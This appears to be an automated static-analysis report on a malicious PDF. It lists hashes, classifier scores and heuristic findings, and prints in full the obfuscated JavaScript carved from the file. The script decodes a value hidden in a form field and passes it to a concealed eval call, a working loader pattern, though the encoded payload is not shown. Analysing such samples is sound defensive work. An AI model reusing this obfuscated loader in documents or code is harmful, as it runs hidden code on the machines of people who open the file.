PDF static analysis report

Static analysis result for SHA-256 2089c9a3c2f3b6c6…

SUSPICIOUS

PDF

19.9 KB Created: 2012-11-13 12:42:59 +03:00 Authoring application: Adobe Acrobat 7.0 (via Adobe Acrobat 7.0 Image Conversion Plug-in) First seen: 2026-05-09
MD5: a1da1e7908d6575fbba1d2687e1d6686 SHA-1: ee6847244376c66e4c5f60e2e4c2ce818d122d04 SHA-256: 2089c9a3c2f3b6c6ffe5086a8bf8027517436245b680fc53bfb04a0c089896e4
50 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 JavaScript/JScript

The PDF file was flagged as malicious by an ML classifier with high confidence. Embedded JavaScript was detected, which is often used to download and execute further stages of malware. The specific JavaScript file extracted is 'javascript_obj0106_000.js'. No document body text was available for analysis, but the presence of JavaScript and the ML classification strongly suggest a malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9977

Heuristics 4

  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0106_000.js pdf-javascript-stream PDF /JS object 106 at offset 0x4C16 1427 bytes
SHA-256: 0e5e5d6d529e0ba9e3cc1862a63dd2459c2a675a5f7d5e650670f78e29c1ae19
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 38 identifiers look randomly generated (e.g. 'kjghftefa2oiuwgf78awtfe6789qt34789tfg789') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var ergrewgregerg = "f"+"g"+"hijk";
var xcvbergger34gr = ':AB'+'CDEFG';
var bxcvn45tygsre = "UVWXYZ{}";
var rve34f3ewsg = "()[]^abc"+"de";
var ouypr5ujhrds = 'pqrs'+'tuvwxyz_';
var yuyti6kyui567y7r = '456'+'78';
var ndgsb34egvw4e = '"=<'+'>&\\';
function xzcbcvb53gerg(xcbcvbn54tygre){
var xbcv3gferg="";
var cxvbdg54gr4e = 39;
for (var i = 0;i<xcbcvbn54tygre.length-(15-14);i++)
{var gretg345ge = xcbcvbn54tygre[i];
var ghuidysgfoits34b=vfbef34few.indexOf(gretg345ge)-cxvbdg54gr4e;
var cvxn53tgr4eg= ghuidysgfoits34b+vfbef34few.length;
if (ghuidysgfoits34b<(10-10)){ghuidysgfoits34b=cvxn53tgr4eg}
xbcv3gferg += vfbef34few.charAt(ghuidysgfoits34b)}
return xbcv3gferg;}
var cvnbv54ywefsw = '9/!%+-*'+'.,;';
var saafrgrt54gred = ergrewgregerg+"lm"+"no"+ouypr5ujhrds+'0123'+yuyti6kyui567y7r+cvnbv54ywefsw+ndgsb34egvw4e;
var kjiuotynj4htre = "QRST"+bxcvn45tygsre+' '+rve34f3ewsg+saafrgrt54gred;
var mkiuoyj56rhr = xcvbergger34gr +'HIJKLMNOP';
var bn45tygder = mkiuoyj56rhr+kjiuotynj4htre;
var vfbef34few =bn45tygder;
var dsaasdfg54gred=getField("WSWSWS");
var mnbmt56hdretg=dsaasdfg54gred.value;
var poiuytrfj5r6hr = xzcbcvb53gerg(mnbmt56hdretg);
var tgbtgnyhunjy = "hauaiyh9iryh98wyf98awyf89sdayfp89aewyf89wey9wev"+"alrgwrgqr3ewgergvaebgegaehergg";
var kjghftefa2oiuwgf78awtfe6789qt34789tfg789wrtf789ewtfw789qe6f789 = tgbtgnyhunjy.substr(45,4);
app[kjghftefa2oiuwgf78awtfe6789qt34789tfg789wrtf789ewtfw789qe6f789](poiuytrfj5r6hr);

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